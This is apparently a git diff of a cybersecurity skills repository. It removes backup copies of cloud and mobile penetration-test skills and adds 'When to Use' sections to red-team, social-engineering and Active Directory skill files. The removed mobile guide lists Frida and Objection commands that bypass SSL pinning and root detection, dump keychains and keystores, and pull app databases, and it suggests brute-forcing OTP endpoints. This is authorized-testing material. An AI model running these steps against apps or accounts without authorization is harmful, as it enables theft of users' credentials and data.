subprocess.TimeoutExpired: - return {"status": "timeout", "message": "ScoutSuite scan exceeded 10 minute timeout"} - - -def run_pentest(profile=None, region="us-east-1"): - """Execute cloud infrastructure penetration test.""" - session = boto3.Session(profile_name=profile, region_name=region) - print(f"\n{'='*60}") - print(f" CLOUD INFRASTRUCTURE PENETRATION TEST") - print(f" Region: {region} | Profile: {profile or 'default'}") - print(f" Generated: {datetime.utcnow().isoformat()} UTC") - print(f"{'='*60}\n") - - public = enumerate_public_resources(session) - print(f"--- PUBLIC EXPOSURE ({len(public)} findings) ---") - for f in public[:10]: - print(f" [{f['severity']}] {f['type']}: {f['resource']}") - - iam_issues = check_iam_weaknesses(session) - print(f"\n--- IAM WEAKNESSES ({len(iam_issues)} findings) ---") - for f in iam_issues[:10]: - print(f" [{f['severity']}] {f['type']}: {f.get('user', f.get('resource', 'N/A'))}") - - metadata = check_metadata_service(session) - print(f"\n--- IMDSv1 EXPOSURE ({len(metadata)} instances) ---") - for f in metadata[:10]: - print(f" [{f['severity']}] {f['instance_id']} ({f['state']})") - - return {"public_exposure": public, "iam_issues": iam_issues, "imdsv1": metadata} - - -def main(): - parser = argparse.ArgumentParser(description="Cloud Infrastructure Pentest Agent") - parser.add_argument("--profile", help="AWS CLI profile name") - parser.add_argument("--region", default="us-east-1", help="AWS region") - parser.add_argument("--scan", action="store_true", help="Run full pentest scan") - parser.add_argument("--scoutsuite", action="store_true", help="Run ScoutSuite audit") - parser.add_argument("--output", help="Save report to JSON file") - args = parser.parse_args() - - if args.scoutsuite: - report = run_scoutsuite_scan() - print(json.dumps(report, indent=2)) - elif args.scan: - report = run_pentest(args.profile, args.region) - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"\n[+] Report saved to {args.output}") - else: - parser.print_help() - - -if __name__ == "__main__": - main() diff --git a/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/process.py b/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/process.py deleted file mode 100644 index d1d45937..00000000 --- a/skills/conducting-cloud-infrastructure-penetration-test.bak/scripts/process.py +++ /dev/null @@ -1,134 +0,0 @@ -#!/usr/bin/env python3 -""" -Cloud Infrastructure Penetration Test — Automation Process - -Automates AWS/Azure/GCP enumeration and security assessment. - -Usage: - python process.py --provider aws --profile testuser --output ./results -""" - -import subprocess -import json -import argparse -import datetime -from pathlib import Path - - -def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]: - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) - return result.stdout, result.stderr, result.returncode - except (subprocess.TimeoutExpired, FileNotFoundError) as e: - return "", str(e), -1 - - -def aws_enumerate(profile: str, output_dir: Path) -> dict: - """Enumerate AWS resources.""" - print("[*] Enumerating AWS resources...") - results = {} - - checks = { - "identity": ["aws", "sts", "get-caller-identity", "--profile", profile], - "s3_buckets": ["aws", "s3api", "list-buckets", "--profile", profile], - "ec2_instances": ["aws", "ec2", "describe-instances", "--profile", profile], - "lambda_functions": ["aws", "lambda", "list-functions", "--profile", profile], - "iam_users": ["aws", "iam", "list-users", "--profile", profile], - "rds_instances": ["aws", "rds", "describe-db-instances", "--profile", profile], - } - - for name, cmd in checks.items(): - stdout, stderr, rc = run_command(cmd) - if rc == 0: - try: - results[name] = json.loads(stdout) - except json.JSONDecodeError: - results[name] = {"raw": stdout} - else: - results[name] = {"error": stderr[:200]} - - with open(output_dir / "aws_enum.json", "w") as f: - json.dump(results, f, indent=2, default=str) - - return results - - -def check_public_s3(buckets: list[str], profile: str) -> list[dict]: - """Check S3 buckets for public access.""" - findings = [] - for bucket in buckets: - stdout, stderr, rc = run_command( - ["aws", "s3api", "get-bucket-acl", "--bucket", bucket, "--profile", profile] - ) - if rc == 0: - acl = json.loads(stdout) - for grant in acl.get("Grants", []): - grantee = grant.get("Grantee", {}) - if grantee.get("URI", "").endswith("AllUsers") or \ - grantee.get("URI", "").endswith("AuthenticatedUsers"): - findings.append({ - "bucket": bucket, - "grantee": grantee.get("URI"), - "permission": grant.get("Permission"), - "severity": "Critical" - }) - return findings - - -def generate_report(provider: str, enum_results: dict, findings: list[dict], - output_dir: Path) -> str: - """Generate cloud pentest report.""" - report_file = output_dir / f"{provider}_pentest_report.md" - timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC") - - with open(report_file, "w") as f: - f.write(f"# {provider.upper()} Cloud Penetration Test Report\n\n") - f.write(f"**Generated:** {timestamp}\n\n---\n\n") - - f.write("## Resource Inventory\n\n") - for resource, data in enum_results.items(): - f.write(f"### {resource}\n") - if isinstance(data, dict) and "error" in data: - f.write(f"Access denied: {data['error'][:100]}\n\n") - else: - f.write(f"```json\n{json.dumps(data, indent=2, default=str)[:500]}\n```\n\n") - - if findings: - f.write("## Security Findings\n\n") - for finding in findings: - f.write(f"### [{finding['severity']}] {finding.get('bucket', finding.get('resource', 'Unknown'))}\n") - f.write(f"- Issue: {finding.get('grantee', finding.get('issue', ''))}\n") - f.write(f"- Permission: {finding.get('permission', '')}\n\n") - - f.write("## Recommendations\n\n") - f.write("1. Enable S3 Block Public Access at account level\n") - f.write("2. Implement least-privilege IAM policies\n") - f.write("3. Enforce IMDSv2 on all EC2 instances\n") - f.write("4. Enable CloudTrail logging in all regions\n") - f.write("5. Use AWS Organizations SCPs for guardrails\n") - - print(f"[+] Report: {report_file}") - return str(report_file) - - -def main(): - parser = argparse.ArgumentParser(description="Cloud Pentest Automation") - parser.add_argument("--provider", choices=["aws", "azure", "gcp"], default="aws") - parser.add_argument("--profile", default="default") - parser.add_argument("--output", default="./results") - args = parser.parse_args() - - output_dir = Path(args.output) - output_dir.mkdir(parents=True, exist_ok=True) - - if args.provider == "aws": - results = aws_enumerate(args.profile, output_dir) - buckets = [b["Name"] for b in results.get("s3_buckets", {}).get("Buckets", [])] - findings = check_public_s3(buckets[:20], args.profile) - generate_report("aws", results, findings, output_dir) - - print(f"\n[+] Cloud pentest automation complete for {args.provider}") - - -if __name__ == "__main__": - main() diff --git a/skills/conducting-full-scope-red-team-engagement/SKILL.md b/skills/conducting-full-scope-red-team-engagement/SKILL.md index 3e010916..085de757 100644 --- a/skills/conducting-full-scope-red-team-engagement/SKILL.md +++ b/skills/conducting-full-scope-red-team-engagement/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs). + +## When to Use + +- When conducting security assessments that involve conducting full scope red team engagement +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Written authorization (Rules of Engagement document) signed by executive leadership diff --git a/skills/conducting-internal-network-penetration-test/SKILL.md b/skills/conducting-internal-network-penetration-test/SKILL.md index f61c6bc0..f7f7179c 100644 --- a/skills/conducting-internal-network-penetration-test/SKILL.md +++ b/skills/conducting-internal-network-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 An internal network penetration test simulates an attacker who has already gained access to the internal network or a malicious insider. The tester operates from an "assumed breach" position — typically a standard domain workstation or network jack — and attempts lateral movement, privilege escalation, credential harvesting, and data exfiltration to determine the blast radius of a compromised endpoint. + +## When to Use + +- When conducting security assessments that involve conducting internal network penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Signed Rules of Engagement with internal network scope diff --git a/skills/conducting-mobile-application-penetration-test.bak/LICENSE b/skills/conducting-mobile-application-penetration-test.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/conducting-mobile-application-penetration-test.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/conducting-mobile-application-penetration-test.bak/SKILL.md b/skills/conducting-mobile-application-penetration-test.bak/SKILL.md deleted file mode 100644 index 07fd5a53..00000000 --- a/skills/conducting-mobile-application-penetration-test.bak/SKILL.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -name: conducting-mobile-application-penetration-test -description: Perform a mobile application penetration test on Android and iOS apps to identify insecure data storage, certificate pinning bypass, API vulnerabilities, binary protections, and runtime manipulation using Frida, Objection, and MobSF. -domain: cybersecurity -subdomain: penetration-testing -tags: [mobile-pentest, Android, iOS, Frida, Objection, MobSF, OWASP-MASTG, certificate-pinning, APK-analysis] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Conducting Mobile Application Penetration Test - -## Overview - -Mobile application penetration testing evaluates the security of Android and iOS applications following the OWASP Mobile Application Security Testing Guide (MASTG) and Mobile Application Security Verification Standard (MASVS). Testing covers static analysis of the application binary, dynamic runtime analysis, API communication security, data storage assessment, and reverse engineering resistance. - -## Prerequisites - -- Application APK/IPA file or TestFlight/Play Store access -- Rooted Android device or emulator (Genymotion, Android Studio AVD) -- Jailbroken iOS device or Corellium cloud instance -- Tools: Frida, Objection, MobSF, Jadx, Burp Suite, adb, Ghidra -- OWASP MASTG checklist - -## Android Testing - -### Static Analysis - -```bash -# Decompile APK with jadx -jadx -d output_dir target.apk - -# Search for hardcoded secrets -grep -rn "api_key\|secret\|password\|token\|firebase" output_dir/sources/ - -# Check AndroidManifest.xml -# Look for: exported components, debuggable=true, allowBackup=true -grep -i "exported\|debuggable\|allowBackup\|android:permission" output_dir/resources/AndroidManifest.xml - -# MobSF automated static analysis -# Upload APK to MobSF web interface (http://localhost:8000) -# Or use REST API: -curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \ - -H "Authorization: " - -# Check for insecure network security config -cat output_dir/resources/res/xml/network_security_config.xml -# Look for: cleartextTrafficPermitted="true", trust-anchors with user certs - -# Analyze native libraries -find output_dir/resources/lib -name "*.so" -exec strings {} \; | grep -i "key\|secret" -``` - -### Dynamic Analysis - -```bash -# Install on device via adb -adb install target.apk - -# Start Frida server on device -adb push frida-server /data/local/tmp/ -adb shell chmod 755 /data/local/tmp/frida-server -adb shell /data/local/tmp/frida-server & - -# Objection — runtime exploration -objection -g com.target.app explore - -# Inside Objection: -# List activities and services -android hooking list activities -android hooking list services - -# Bypass root detection -android root disable - -# Bypass SSL pinning -android sslpinning disable - -# Dump keystore -android keystore list - -# Enumerate shared preferences -android hooking search classes SharedPreferences - -# Monitor clipboard -android clipboard monitor - -# Explore filesystem -env -ls /data/data/com.target.app/ -file download /data/data/com.target.app/shared_prefs/ -file download /data/data/com.target.app/databases/ -``` - -### Data Storage Testing - -```bash -# Check shared preferences for sensitive data -adb shell cat /data/data/com.target.app/shared_prefs/*.xml - -# Check SQLite databases -adb pull /data/data/com.target.app/databases/app.db -sqlite3 app.db ".dump" | grep -i "password\|token\|session" - -# Check for data in external storage -adb shell ls /sdcard/Android/data/com.target.app/ - -# Check for sensitive data in logs -adb logcat -d | grep -i "token\|password\|session\|api_key" - -# Backup extraction -adb backup -apk -shared com.target.app -f backup.ab -java -jar abe.jar unpack backup.ab backup.tar -tar xf backup.tar -``` - -### Network Traffic Analysis - -```bash -# Configure Burp proxy on device -# Settings > WiFi > Proxy > Manual > 192.168.1.100:8080 -# Install Burp CA certificate on device - -# For apps with certificate pinning: -# Method 1: Objection -objection -g com.target.app explore -android sslpinning disable - -# Method 2: Frida script -frida -U -f com.target.app -l ssl_pinning_bypass.js --no-pause - -# Method 3: Patch APK -# Use apktool to decompile, modify network_security_config.xml, repack -apktool d target.apk -o decompiled/ -# Edit res/xml/network_security_config.xml to trust user CAs -apktool b decompiled/ -o patched.apk -jarsigner -keystore my.keystore patched.apk alias_name -``` - -## iOS Testing - -### Static Analysis - -```bash -# Decrypt IPA (from jailbroken device) -# Using frida-ios-dump -python3 dump.py com.target.app - -# Or using Clutch on device -Clutch -d com.target.app - -# Analyze binary with class-dump -class-dump -H TargetApp -o headers/ -grep -rn "password\|token\|secret\|apiKey" headers/ - -# Check Info.plist -plutil -p Payload/TargetApp.app/Info.plist -# Look for: ATS exceptions, URL schemes, exported UTIs - -# Check for insecure API connections -grep -i "http://" headers/*.h -grep -i "NSAllowsArbitraryLoads" Payload/TargetApp.app/Info.plist -``` - -### Dynamic Analysis (iOS) - -```bash -# Frida on iOS -frida -U -f com.target.app -l ios_bypass.js --no-pause - -# Objection for iOS -objection -g com.target.app explore - -# Inside Objection: -ios sslpinning disable -ios jailbreak disable -ios keychain dump -ios plist cat NSUserDefaults -ios cookies get -ios nsurlcredentialstorage dump - -# Check Keychain for stored secrets -objection -g com.target.app explore --startup-command 'ios keychain dump' - -# Check for data protection classes -objection -g com.target.app explore --startup-command 'ios info binary' -``` - -### API Testing - -```bash -# Through Burp Suite, test captured API calls: - -# Authentication bypass -# Modify JWT tokens, test for algorithm confusion (none, HS256 vs RS256) - -# IDOR testing -# Change user identifiers in API requests - -# Rate limiting -# Brute force OTP/PIN endpoints - -# Input validation -# Test for injection in API parameters - -# Business logic -# Manipulate prices, quantities, subscription tiers in requests -``` - -## OWASP MASVS Checklist - -| Category | Test | Status | -|----------|------|--------| -| MASVS-STORAGE-1 | Sensitive data in system logs | [ ] | -| MASVS-STORAGE-2 | Sensitive data in backups | [ ] | -| MASVS-STORAGE-3 | Sensitive data in IPC | [ ] | -| MASVS-CRYPTO-1 | Proper cryptographic APIs | [ ] | -| MASVS-AUTH-1 | Local authentication bypass | [ ] | -| MASVS-NETWORK-1 | TLS with trusted CA | [ ] | -| MASVS-NETWORK-2 | Certificate pinning | [ ] | -| MASVS-PLATFORM-1 | Exported components secured | [ ] | -| MASVS-CODE-1 | Code obfuscation | [ ] | -| MASVS-RESILIENCE-1 | Root/jailbreak detection | [ ] | - -## References - -- OWASP MASTG: https://mas.owasp.org/MASTG/ -- OWASP MASVS: https://mas.owasp.org/MASVS/ -- Frida: https://frida.re/ -- Objection: https://github.com/sensepost/objection -- MobSF: https://github.com/MobSF/Mobile-Security-Framework-MobSF -- JADX: https://github.com/skylot/jadx diff --git a/skills/conducting-mobile-application-penetration-test.bak/references/api-reference.md b/skills/conducting-mobile-application-penetration-test.bak/references/api-reference.md deleted file mode 100644 index 18023e15..00000000 --- a/skills/conducting-mobile-application-penetration-test.bak/references/api-reference.md +++ /dev/null @@ -1,47 +0,0 @@ -# Mobile Application Penetration Test — API Reference - -## Libraries & Tools - -| Tool | Install | Purpose | -|------|---------|---------| -| apktool | `apt install apktool` | Android APK decompilation and recompilation | -| objection | `pip install objection` | Runtime mobile exploration via Frida | -| frida-tools | `pip install frida-tools` | Dynamic instrumentation framework | -| jadx | Binary download | Java decompiler for APK source code | -| MobSF | `docker pull opensecurity/mobile-security-framework-mobsf` | Automated mobile security scanner | - -## Key objection Commands - -| Command | Description | -|---------|-------------| -| `objection -g explore` | Attach to running app | -| `android sslpinning disable` | Bypass SSL certificate pinning | -| `android root disable` | Bypass root detection | -| `android hooking list activities` | List app activities | -| `android keystore list` | Dump Android Keystore entries | -| `android clipboard monitor` | Monitor clipboard content | - -## Frida Script Patterns - -| Pattern | Purpose | -|---------|---------| -| `Java.use("class").method.implementation` | Hook Java method | -| `Interceptor.attach(addr, {onEnter, onLeave})` | Hook native function | -| `Java.choose("class", {onMatch, onComplete})` | Find live instances | - -## OWASP Mobile Top 10 Checks - -| ID | Vulnerability | -|----|--------------| -| M1 | Improper Platform Usage | -| M2 | Insecure Data Storage | -| M3 | Insecure Communication | -| M4 | Insecure Authentication | -| M5 | Insufficient Cryptography | - -## External References - -- [OWASP Mobile Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/) -- [Frida Documentation](https://frida.re/docs/home/) -- [objection Wiki](https://github.com/sensepost/objection/wiki) -- [apktool Documentation](https://apktool.org/docs/install) diff --git a/skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py b/skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py deleted file mode 100644 index 5b432b65..00000000 --- a/skills/conducting-mobile-application-penetration-test.bak/scripts/agent.py +++ /dev/null @@ -1,126 +0,0 @@ -#!/usr/bin/env python3 -"""Mobile application penetration testing agent using Frida and objection.""" - -import json -import argparse -import subprocess -from datetime import datetime - - -def run_apktool_decompile(apk_path): - """Decompile Android APK for static analysis.""" - cmd = ["apktool", "d", apk_path, "-o", f"{apk_path}_decompiled", "-f"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) - return {"status": "completed", "output_dir": f"{apk_path}_decompiled"} - except FileNotFoundError: - return {"status": "error", "message": "apktool not installed"} - - -def check_android_manifest(manifest_path): - """Analyze AndroidManifest.xml for security issues.""" - findings = [] - try: - with open(manifest_path, "r") as f: - content = f.read() - checks = [ - ("android:debuggable=\"true\"", "App is debuggable", "HIGH"), - ("android:allowBackup=\"true\"", "App allows backup extraction", "MEDIUM"), - ("android:exported=\"true\"", "Exported component found", "MEDIUM"), - ("android:usesCleartextTraffic=\"true\"", "Cleartext traffic allowed", "HIGH"), - ("android.permission.WRITE_EXTERNAL_STORAGE", "External storage write", "LOW"), - ("android.permission.READ_PHONE_STATE", "Phone state access", "MEDIUM"), - ] - for pattern, desc, severity in checks: - if pattern.lower() in content.lower(): - findings.append({"finding": desc, "pattern": pattern, "severity": severity}) - except FileNotFoundError: - findings.append({"error": f"Manifest not found: {manifest_path}"}) - return findings - - -def scan_hardcoded_secrets(source_dir): - """Scan decompiled source for hardcoded secrets.""" - import re - patterns = { - "API Key": re.compile(r'["\'](?:api[_-]?key|apikey)["\']?\s*[:=]\s*["\']([^"\']{20,})["\']', re.I), - "AWS Key": re.compile(r'AKIA[0-9A-Z]{16}'), - "Private Key": re.compile(r'-----BEGIN (?:RSA )?PRIVATE KEY-----'), - "Password": re.compile(r'["\'](?:password|passwd|pwd)["\']?\s*[:=]\s*["\']([^"\']+)["\']', re.I), - "Firebase URL": re.compile(r'https://[a-z0-9-]+\.firebaseio\.com'), - } - findings = [] - import os - for root, _, files in os.walk(source_dir): - for fname in files: - if fname.endswith((".smali", ".java", ".xml", ".json", ".properties")): - fpath = os.path.join(root, fname) - try: - with open(fpath, "r", errors="ignore") as f: - content = f.read() - for secret_type, pattern in patterns.items(): - matches = pattern.findall(content) - for match in matches: - findings.append({ - "type": secret_type, - "file": os.path.relpath(fpath, source_dir), - "severity": "CRITICAL" if "key" in secret_type.lower() else "HIGH", - }) - except OSError: - pass - return findings - - -def check_ssl_pinning(package_name): - """Check for SSL pinning implementation.""" - cmd = ["objection", "-g", package_name, "run", "android", "sslpinning", "disable"] - try: - result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) - return {"ssl_pinning": "enabled" if "error" not in result.stdout.lower() else "not_detected"} - except FileNotFoundError: - return {"status": "error", "message": "objection not installed: pip install objection"} - - -def run_pentest(apk_path): - """Execute mobile application penetration test.""" - print(f"\n{'='*60}") - print(f" MOBILE APP PENETRATION TEST") - print(f" APK: {apk_path}") - print(f" Generated: {datetime.utcnow().isoformat()} UTC") - print(f"{'='*60}\n") - - decomp = run_apktool_decompile(apk_path) - print(f"--- DECOMPILATION ---") - print(f" Status: {decomp['status']}") - - if decomp["status"] == "completed": - manifest = check_android_manifest(f"{decomp['output_dir']}/AndroidManifest.xml") - print(f"\n--- MANIFEST ANALYSIS ({len(manifest)} findings) ---") - for f in manifest: - if "error" not in f: - print(f" [{f['severity']}] {f['finding']}") - - secrets = scan_hardcoded_secrets(decomp["output_dir"]) - print(f"\n--- HARDCODED SECRETS ({len(secrets)} findings) ---") - for s in secrets[:10]: - print(f" [{s['severity']}] {s['type']} in {s['file']}") - - return {"decompilation": decomp, "manifest": manifest, "secrets": secrets} - return {"decompilation": decomp} - - -def main(): - parser = argparse.ArgumentParser(description="Mobile App Pentest Agent") - parser.add_argument("--apk", required=True, help="Path to APK file") - parser.add_argument("--output", help="Save report to JSON file") - args = parser.parse_args() - - report = run_pentest(args.apk) - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"\n[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/skills/conducting-social-engineering-penetration-test/SKILL.md b/skills/conducting-social-engineering-penetration-test/SKILL.md index aef7999e..4c91b805 100644 --- a/skills/conducting-social-engineering-penetration-test/SKILL.md +++ b/skills/conducting-social-engineering-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx. + +## When to Use + +- When conducting security assessments that involve conducting social engineering penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Written authorization from senior management (CISO/CTO) diff --git a/skills/conducting-social-engineering-pretext-call/SKILL.md b/skills/conducting-social-engineering-pretext-call/SKILL.md index e467e741..2cb7af6c 100644 --- a/skills/conducting-social-engineering-pretext-call/SKILL.md +++ b/skills/conducting-social-engineering-pretext-call/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 A pretext call (vishing) is a social engineering technique where an attacker impersonates a trusted authority figure over the phone to manipulate targets into divulging sensitive information, performing actions, or granting access. In red team engagements, pretext calls test the human element of security controls, measuring employee adherence to verification procedures and security awareness training effectiveness. MITRE ATT&CK maps this to T1566.004 (Phishing for Information: Voice) and T1598 (Phishing for Information). + +## When to Use + +- When conducting security assessments that involve conducting social engineering pretext call +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Written authorization specifying social engineering scope and boundaries diff --git a/skills/configuring-active-directory-tiered-model/SKILL.md b/skills/configuring-active-directory-tiered-model/SKILL.md index 17ed3a40..6323e5ef 100644 --- a/skills/configuring-active-directory-tiered-model/SKILL.md +++ b/skills/configuring-active-directory-tiered-model/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Implement Microsoft's Enhanced Security Admin Environment (ESAE) tiered administration model for Active Directory. Covers Tier 0/1/2 separation, privileged access workstations (PAWs), administrative forest design, authentication policy silos, and credential theft mitigation. + +## When to Use + +- When deploying or configuring configuring active directory tiered model capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive configuring active directory tiered model capability - Establish automated discovery and monitoring processes diff --git a/skills/configuring-aws-verified-access-for-ztna/SKILL.md b/skills/configuring-aws-verified-access-for-ztna/SKILL.md index 00c55b91..f4775f43 100644 --- a/skills/configuring-aws-verified-access-for-ztna/SKILL.md +++ b/skills/configuring-aws-verified-access-for-ztna/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 AWS Verified Access is a Zero Trust Network Access (ZTNA) service that provides secure, VPN-less access to corporate applications hosted in AWS. It evaluates each access request in 